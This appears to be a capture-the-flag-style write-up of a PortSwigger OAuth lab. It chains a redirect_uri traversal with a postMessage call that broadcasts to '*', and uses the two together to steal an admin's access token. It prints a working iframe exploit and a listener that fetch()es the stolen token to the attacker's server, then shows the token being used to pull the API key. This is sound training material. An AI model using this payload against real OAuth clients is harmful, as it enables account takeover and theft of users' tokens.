The lab
here is how portswigger describes it
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application. To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner. The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service. You can log in via your own social media account using the following credentials:
wiener:peter.
the new piece in this lab#
this is the same starting point as the open-redirect token-theft lab, the redirect_uri whitelist is prefix-only, so a /../ traversal lets us land the access token on any page of the blog (it arrives in the URL fragment). what differs is how we get the token off the blog's domain. last time we used an open redirect; here there isn't one, so we need a different "proxy", a page on the client that will willingly hand the fragment to us. that page is a postMessage sender.
postMessage()is the browser API for cross-origin messaging: it lets a page in one window (say, an iframe) send data to another window (its parent) even when they are on different origins, which the same-origin policy would normally forbid. it is the sanctioned channel for frames to talk to each other.- the call takes a target origin argument, the origin allowed to receive the message. setting it to
"*"means "send this to whatever page is framing me, no matter who they are". that is the bug: a page that posts sensitive data with"*"will leak it to an attacker's page that frames it. - here the blog's comment form (
/post/comment/comment-form) is loaded as an iframe on each post, and it usespostMessage()to send its ownwindow.location.href(the full URL, including any fragment) to its parent, with target origin"*". the plan: we frame the OAuth authorization request withredirect_uritraversed to the comment-form page, so the token lands there in the fragment. the comment form then helpfullypostMessages its full URL (token and all) to our page, because it broadcasts to"*". our listener catches the message and ships the token to our log.
why the proxy page leaks the token#
two flaws combine again. the prefix-only redirect_uri validation lets us deposit the access token onto an arbitrary client page via traversal, and the comment form on that page broadcasts its own URL to any parent window through postMessage(..., "*"). the comment form was never meant to be a token sink, it just reports its location to its host page for some legitimate purpose, but it does so without checking who the host is. when we are the host (by framing it from our exploit server), it sends us its URL, which now contains the admin's access token in the fragment. the "*" target origin is the exact failure: had it named the real client origin, our cross-origin page would never receive the message. so the token, placed on the client by the traversal, is relayed off the client by the client's own careless messaging. the victim's active OAuth session means framing the flow is enough to mint and leak their token silently.
Step 1 - confirm the redirect_uri traversal#
proxying through Burp, we study the OAuth flow and, using the same method as the previous lab, confirm the redirect_uri is vulnerable to directory traversal. external domains are blocked, but a /../ sequence lets us redirect the access token to arbitrary pages on the blog.

Step 2 - find the postMessage proxy#
we audit the other pages and notice the comment form is included as an iframe on each blog post. looking closely at /post/comment/comment-form in Burp, we see it uses postMessage() to send its window.location.href to its parent window, and crucially it allows messages to be posted to any origin (*). that makes it a page that will leak its own URL to whoever frames it.

Step 3 - build the framing exploit#
from the proxy history we right-click the GET /auth?client_id=[...] request and Copy URL. on the exploit server we create an iframe whose src is that URL, with the redirect_uri traversed to point at the comment form:
<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe>
below it we add a listener that catches the web message and ships its contents to our access log:
<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>

Step 4 - test, then deliver to the victim#
we store the exploit and click View exploit. once the iframe loads, we check the exploit server's access log, there is a request whose path is the full URL of the comment form, with a fragment containing the access token. we then deliver the exploit to the victim and copy their access token from the log, being careful not to include any surrounding URL-encoded characters.
s29qDNONEi7vyvE_G4FNB_bgB51CPhhRnykRRuj_Ykf

Step 5 - use the token to read the API key#
we send the GET /me request to Repeater, replace the token in the Authorization: Bearer header with the stolen one, and send it. we successfully fetch the victim's data, including their API key.

Step 6 - submit the key#
we use the Submit solution button to submit the stolen API key.

with this, the lab is solved!
